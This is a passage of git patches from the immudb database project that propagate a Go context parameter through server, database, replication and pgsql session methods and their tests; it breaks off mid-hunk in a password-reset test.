-40,7 +40,7 @@ func (d *db) reloadSQLCatalog() error { return err } -func (d *db) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { +func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { if req == nil || req.SqlGetRequest == nil { return nil, ErrIllegalArguments } @@ -60,12 +60,13 @@ func (d *db) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.Veri } } - catalog, err := d.sqlEngine.Catalog(nil) + sqlTx, err := d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } + defer sqlTx.Cancel() - table, err := catalog.GetTableByName(dbInstanceName, req.SqlGetRequest.Table) + table, err := sqlTx.Catalog().GetTableByName(dbInstanceName, req.SqlGetRequest.Table) if err != nil { return nil, err } diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 1665770196..e2ed155a27 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "testing" "github.com/codenotary/immudb/embedded/sql" @@ -109,10 +110,10 @@ func TestSQLExecAndQuery(t *testing.T) { require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) - _, err = db.VerifiableSQLGet(nil) + _, err = db.VerifiableSQLGet(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, @@ -121,7 +122,7 @@ func TestSQLExecAndQuery(t *testing.T) { }) require.Equal(t, store.ErrIllegalState, err) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table2", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, @@ -130,7 +131,7 @@ func TestSQLExecAndQuery(t *testing.T) { }) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}}, @@ -139,7 +140,7 @@ func TestSQLExecAndQuery(t *testing.T) { }) require.ErrorIs(t, err, sql.ErrInvalidValue) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 4}}}, @@ -148,7 +149,7 @@ func TestSQLExecAndQuery(t *testing.T) { }) require.Equal(t, store.ErrKeyNotFound, err) - ve, err := db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + ve, err := db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, @@ -158,7 +159,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, ve) - ve, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + ve, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, @@ -169,7 +170,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, ve) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 4}}}, @@ -203,7 +204,7 @@ func TestVerifiableSQLGet(t *testing.T) { `}, nil) require.NoError(t, err) - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{ Value: &schema.SQLValue_N{N: 1}, @@ -212,7 +213,7 @@ func TestVerifiableSQLGet(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) require.Contains(t, err.Error(), "incorrect number of primary key values") - _, err = db.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ + _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, From 429a8f9c3acf35ee37af3aac5e46d14efefdab91 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 12 Jan 2023 00:42:16 -0300 Subject: [PATCH 0145/1062] chore(pkg/server): context propagation from grpc api to embedded package Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/session.go | 3 +- pkg/replication/replicator.go | 2 +- pkg/server/db_dummy_closed.go | 48 ++++++++++++++--------------- pkg/server/db_dummy_closed_test.go | 49 +++++++++++++++--------------- pkg/server/db_operations.go | 34 ++++++++++----------- pkg/server/db_options.go | 7 +++-- pkg/server/remote_storage_test.go | 2 +- pkg/server/server.go | 14 ++++----- pkg/server/server_test.go | 42 ++++++++++++------------- pkg/server/session.go | 2 +- pkg/server/sql.go | 2 +- pkg/server/stream_replication.go | 4 +-- pkg/server/streams.go | 16 +++++----- pkg/server/user.go | 36 +++++++++++----------- 14 files changed, 132 insertions(+), 129 deletions(-) diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index 458ee972de..a7e659a01b 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "crypto/tls" "encoding/json" "net" @@ -139,7 +140,7 @@ func (s *session) getUser(username []byte) (*auth.User, error) { key[0] = 1 copy(key[1:], username) - item, err := s.sysDb.Get(&schema.KeyRequest{Key: key}) + item, err := s.sysDb.Get(context.Background(), &schema.KeyRequest{Key: key}) if err != nil { return nil, err } diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index eac17c29aa..f86ddd17dc 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -203,7 +203,7 @@ func (txr *TxReplicator) replicateSingleTx(data []byte) bool { // replication must be retried as many times as necessary for { - _, err := txr.db.ReplicateTx(data) + _, err := txr.db.ReplicateTx(context.Background(), data) if err == nil { break // transaction successfully replicated } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 74ea67cefe..2b509ddd15 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -80,67 +80,67 @@ func (db *closedDB) Size() (uint64, error) { return 0, store.ErrAlreadyClosed } -func (db *closedDB) Set(req *schema.SetRequest) (*schema.TxHeader, error) { +func (db *closedDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { +func (db *closedDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) Get(req *schema.KeyRequest) (*schema.Entry, error) { +func (db *closedDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { +func (db *closedDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { +func (db *closedDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { +func (db *closedDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) { +func (db *closedDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { +func (db *closedDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) Scan(req *schema.ScanRequest) (*schema.Entries, error) { +func (db *closedDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) History(req *schema.HistoryRequest) (*schema.Entries, error) { +func (db *closedDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) ExecAll(operations *schema.ExecAllRequest) (*schema.TxHeader, error) { +func (db *closedDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) { +func (db *closedDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) CountAll() (*schema.EntryCount, error) { +func (db *closedDB) CountAll(ctx context.Context) (*schema.EntryCount, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { +func (db *closedDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { +func (db *closedDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { +func (db *closedDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { return nil, store.ErrAlreadyClosed } @@ -176,7 +176,7 @@ func (db *closedDB) SQLQueryRowReader(stmt sql.DataSource, params map[string]int return nil, store.ErrAlreadyClosed } -func (db *closedDB) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { +func (db *closedDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { return nil, store.ErrAlreadyClosed } @@ -188,23 +188,23 @@ func (db *closedDB) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQuery return nil, store.ErrAlreadyClosed } -func (db *closedDB) WaitForTx(txID uint64, allowPrecommitted bool, cancellation <-chan struct{}) error { +func (db *closedDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { return store.ErrAlreadyClosed } -func (db *closedDB) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { +func (db *closedDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error { return store.ErrAlreadyClosed } -func (db *closedDB) TxByID(req *schema.TxRequest) (*schema.Tx, error) { +func (db *closedDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { +func (db *closedDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { return nil, 0, mayCommitUpToAlh, store.ErrAlreadyClosed } -func (db *closedDB) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { +func (db *closedDB) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } @@ -216,11 +216,11 @@ func (db *closedDB) DiscardPrecommittedTxsSince(txID uint64) error { return store.ErrAlreadyClosed } -func (db *closedDB) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { +func (db *closedDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { +func (db *closedDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index adb0de275b..cef4471ac9 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "crypto/sha256" "testing" @@ -47,52 +48,52 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.Size() require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Set(nil) + _, err = cdb.Set(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableSet(nil) + _, err = cdb.VerifiableSet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Get(nil) + _, err = cdb.Get(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableGet(nil) + _, err = cdb.VerifiableGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.GetAll(nil) + _, err = cdb.GetAll(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Delete(nil) + _, err = cdb.Delete(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SetReference(nil) + _, err = cdb.SetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableSetReference(nil) + _, err = cdb.VerifiableSetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Scan(nil) + _, err = cdb.Scan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.History(nil) + _, err = cdb.History(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ExecAll(nil) + _, err = cdb.ExecAll(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Count(nil) + _, err = cdb.Count(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.CountAll() + _, err = cdb.CountAll(context.Background()) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ZAdd(nil) + _, err = cdb.ZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableZAdd(nil) + _, err = cdb.VerifiableZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ZScan(nil) + _, err = cdb.ZScan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.NewSQLTx(nil, nil) @@ -119,7 +120,7 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.SQLQueryRowReader(nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableSQLGet(nil) + _, err = cdb.VerifiableSQLGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ListTables(nil) @@ -128,23 +129,23 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.DescribeTable("", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - err = cdb.WaitForTx(0, true, nil) + err = cdb.WaitForTx(context.Background(), 0, true) require.ErrorIs(t, err, store.ErrAlreadyClosed) - err = cdb.WaitForIndexingUpto(0, nil) + err = cdb.WaitForIndexingUpto(context.Background(), 0) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.TxByID(nil) + _, err = cdb.TxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) require.False(t, cdb.IsSyncReplicationEnabled()) cdb.SetSyncReplication(true) - _, _, _, err = cdb.ExportTxByID(nil) + _, _, _, err = cdb.ExportTxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ReplicateTx(nil) + _, err = cdb.ReplicateTx(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.AllowCommitUpto(1, sha256.Sum256(nil)) @@ -153,10 +154,10 @@ func TestDummyClosedDatabase(t *testing.T) { err = cdb.DiscardPrecommittedTxsSince(1) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.VerifiableTxByID(nil) + _, err = cdb.VerifiableTxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.TxScan(nil) + _, err = cdb.TxScan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.FlushIndex(nil) diff --git a/pkg/server/db_operations.go b/pkg/server/db_operations.go index e0b16dc320..4cf3c766fe 100644 --- a/pkg/server/db_operations.go +++ b/pkg/server/db_operations.go @@ -78,7 +78,7 @@ func (s *ImmuServer) Set(ctx context.Context, kv *schema.SetRequest) (*schema.Tx return nil, err } - return db.Set(kv) + return db.Set(ctx, kv) } // VerifiableSet ... @@ -92,7 +92,7 @@ func (s *ImmuServer) VerifiableSet(ctx context.Context, req *schema.VerifiableSe return nil, err } - vtx, err := db.VerifiableSet(req) + vtx, err := db.VerifiableSet(ctx, req) if err != nil { return nil, err } @@ -125,7 +125,7 @@ func (s *ImmuServer) Get(ctx context.Context, req *schema.KeyRequest) (*schema.E return nil, err } - return db.Get(req) + return db.Get(ctx, req) } // VerifiableGet ... @@ -135,7 +135,7 @@ func (s *ImmuServer) VerifiableGet(ctx context.Context, req *schema.VerifiableGe return nil, err } - vEntry, err := db.VerifiableGet(req) + vEntry, err := db.VerifiableGet(ctx, req) if err != nil { return nil, err } @@ -168,7 +168,7 @@ func (s *ImmuServer) Scan(ctx context.Context, req *schema.ScanRequest) (*schema return nil, err } - return db.Scan(req) + return db.Scan(ctx, req) } // Count ... @@ -188,7 +188,7 @@ func (s *ImmuServer) TxById(ctx context.Context, req *schema.TxRequest) (*schema return nil, err } - return db.TxByID(req) + return db.TxByID(ctx, req) } // VerifiableTxByID ... @@ -198,7 +198,7 @@ func (s *ImmuServer) VerifiableTxById(ctx context.Context, req *schema.Verifiabl return nil, err } - vtx, err := db.VerifiableTxByID(req) + vtx, err := db.VerifiableTxByID(ctx, req) if err != nil { return nil, err } @@ -231,7 +231,7 @@ func (s *ImmuServer) TxScan(ctx context.Context, req *schema.TxScanRequest) (*sc return nil, err } - return db.TxScan(req) + return db.TxScan(ctx, req) } // History ... @@ -241,7 +241,7 @@ func (s *ImmuServer) History(ctx context.Context, req *schema.HistoryRequest) (* return nil, err } - return db.History(req) + return db.History(ctx, req) } // SetReference ... @@ -255,7 +255,7 @@ func (s *ImmuServer) SetReference(ctx context.Context, req *schema.ReferenceRequ return nil, err } - return db.SetReference(req) + return db.SetReference(ctx, req) } // VerifibleSetReference ... @@ -269,7 +269,7 @@ func (s *ImmuServer) VerifiableSetReference(ctx context.Context, req *schema.Ver return nil, err } - vtx, err := db.VerifiableSetReference(req) + vtx, err := db.VerifiableSetReference(ctx, req) if err != nil { return nil, err } @@ -306,7 +306,7 @@ func (s *ImmuServer) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema return nil, err } - return db.ZAdd(req) + return db.ZAdd(ctx, req) } // ZScan ... @@ -316,7 +316,7 @@ func (s *ImmuServer) ZScan(ctx context.Context, req *schema.ZScanRequest) (*sche return nil, err } - return db.ZScan(req) + return db.ZScan(ctx, req) } // VerifiableZAdd ... @@ -330,7 +330,7 @@ func (s *ImmuServer) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZ return nil, err } - vtx, err := db.VerifiableZAdd(req) + vtx, err := db.VerifiableZAdd(ctx, req) if err != nil { return nil, err } @@ -390,7 +390,7 @@ func (s *ImmuServer) GetAll(ctx context.Context, req *schema.KeyListRequest) (*s return nil, err } - return db.GetAll(req) + return db.GetAll(ctx, req) } func (s *ImmuServer) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { @@ -403,7 +403,7 @@ func (s *ImmuServer) Delete(ctx context.Context, req *schema.DeleteKeysRequest) return nil, err } - return db.Delete(req) + return db.Delete(ctx, req) } func (s *ImmuServer) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { @@ -416,5 +416,5 @@ func (s *ImmuServer) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (* return nil, err } - return db.ExecAll(req) + return db.ExecAll(ctx, req) } diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index fcb9cc01d8..b060fc2ab4 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "encoding/json" "fmt" "time" @@ -745,7 +746,7 @@ func (s *ImmuServer) saveDBOptions(options *dbOptions) error { optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(options.Database)) - _, err = s.sysDB.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: optionsKey, Value: serializedOptions}}}) + _, err = s.sysDB.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: optionsKey, Value: serializedOptions}}}) return err } @@ -755,7 +756,7 @@ func (s *ImmuServer) deleteDBOptionsFor(db string) error { optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(db)) - _, err := s.sysDB.Delete(&schema.DeleteKeysRequest{ + _, err := s.sysDB.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ optionsKey, }, @@ -775,7 +776,7 @@ func (s *ImmuServer) loadDBOptions(database string, createIfNotExists bool) (*db options := s.defaultDBOptions(database) - e, err := s.sysDB.Get(&schema.KeyRequest{Key: optionsKey}) + e, err := s.sysDB.Get(context.Background(), &schema.KeyRequest{Key: optionsKey}) if err == store.ErrKeyNotFound && createIfNotExists { err = s.saveDBOptions(options) if err != nil { diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 0b1333911c..65eea046b0 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -402,7 +402,7 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { st, err := store.Open(filepath.Join(dir, "testdb"), stOpts) require.NoError(t, err) - tx, err := st.NewWriteOnlyTx() + tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1}, nil, []byte{2}) diff --git a/pkg/server/server.go b/pkg/server/server.go index 26d35d3d39..f902fe3573 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -379,12 +379,12 @@ func (s *ImmuServer) printUsageCallToAction() { } } -func (s *ImmuServer) resetAdminPassword(adminPassword string) (bool, error) { +func (s *ImmuServer) resetAdminPassword(ctx context.Context, adminPassword string) (bool, error) { if s.sysDB.IsReplica() { return false, errors.New("database is running as a replica") } - adminUser, err := s.getUser([]byte(auth.SysAdminUsername)) + adminUser, err := s.getUser(ctx, []byte(auth.SysAdminUsername)) if err != nil { return false, fmt.Errorf("could not read sysadmin user data: %v", err) } @@ -401,7 +401,7 @@ func (s *ImmuServer) resetAdminPassword(adminPassword string) (bool, error) { return false, err } - err = s.saveUser(adminUser) + err = s.saveUser(ctx, adminUser) if err != nil { return false, err } @@ -435,7 +435,7 @@ func (s *ImmuServer) loadSystemDatabase( } if forceAdminPasswordReset { - changed, err := s.resetAdminPassword(adminPassword) + changed, err := s.resetAdminPassword(context.Background(), adminPassword) if err != nil { s.Logger.Errorf("Can not reset admin password, %v", err) return ErrCantUpdateAdminPassword @@ -449,7 +449,7 @@ func (s *ImmuServer) loadSystemDatabase( } else if adminPassword != auth.SysAdminPassword { // Add warning that the password is not changed even though manually specified - user, err := s.getUser([]byte(auth.SysAdminUsername)) + user, err := s.getUser(context.Background(), []byte(auth.SysAdminUsername)) if err != nil { s.Logger.Errorf("Can not validate admin user: %v", err) return err @@ -486,7 +486,7 @@ func (s *ImmuServer) loadSystemDatabase( if !s.sysDB.IsReplica() { s.sysDB.SetSyncReplication(false) - adminUsername, _, err := s.insertNewUser([]byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, "*", false, "") + adminUsername, _, err := s.insertNewUser(context.Background(), []byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, "*", false, "") if err != nil { return logErr(s.Logger, "%v", err) } @@ -1565,7 +1565,7 @@ func (s *ImmuServer) mandatoryAuth() bool { } //check if there is only sysadmin on systemdb and no other user - itemList, err := s.sysDB.Scan(&schema.ScanRequest{ + itemList, err := s.sysDB.Scan(context.Background(), &schema.ScanRequest{ Prefix: []byte{KeyPrefixUser}, }) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 3db9c94159..43d37d54af 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -161,10 +161,10 @@ func TestServerResetAdminPassword(t *testing.T) { err := s.loadSystemDatabase(dbRootpath, nil, "password1", false) require.NoError(t, err) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.NoError(t, err) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.ErrorContains(t, err, "password") txID, err = s.sysDB.Size() @@ -182,10 +182,10 @@ func TestServerResetAdminPassword(t *testing.T) { require.NoError(t, err) require.Equal(t, txID, currTxID) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.NoError(t, err) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.ErrorContains(t, err, "password") }) @@ -201,10 +201,10 @@ func TestServerResetAdminPassword(t *testing.T) { require.NoError(t, err) require.Equal(t, txID+1, currTxID) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.ErrorContains(t, err, "password") - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.NoError(t, err) }) @@ -220,10 +220,10 @@ func TestServerResetAdminPassword(t *testing.T) { require.NoError(t, err) require.Equal(t, txID+1, currTxID) - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.ErrorContains(t, err, "password") - _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.NoError(t, err) }) @@ -234,7 +234,7 @@ type dbMockResetAdminPasswordCornerCases struct { setErr error } -func (d *dbMockResetAdminPasswordCornerCases) Set(req *schema.SetRequest) (*schema.TxHeader, error) { +func (d *dbMockResetAdminPasswordCornerCases) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return nil, d.setErr } @@ -249,7 +249,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err := s.Initialize() require.NoError(t, err) - _, err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "database is running as a replica") }) @@ -265,7 +265,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - _, err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) @@ -281,7 +281,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - _, err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) @@ -294,7 +294,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err := s.Initialize() require.NoError(t, err) - _, err = s.resetAdminPassword("") + _, err = s.resetAdminPassword(context.Background(), "") require.ErrorContains(t, err, "password is empty") }) @@ -313,7 +313,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { DB: 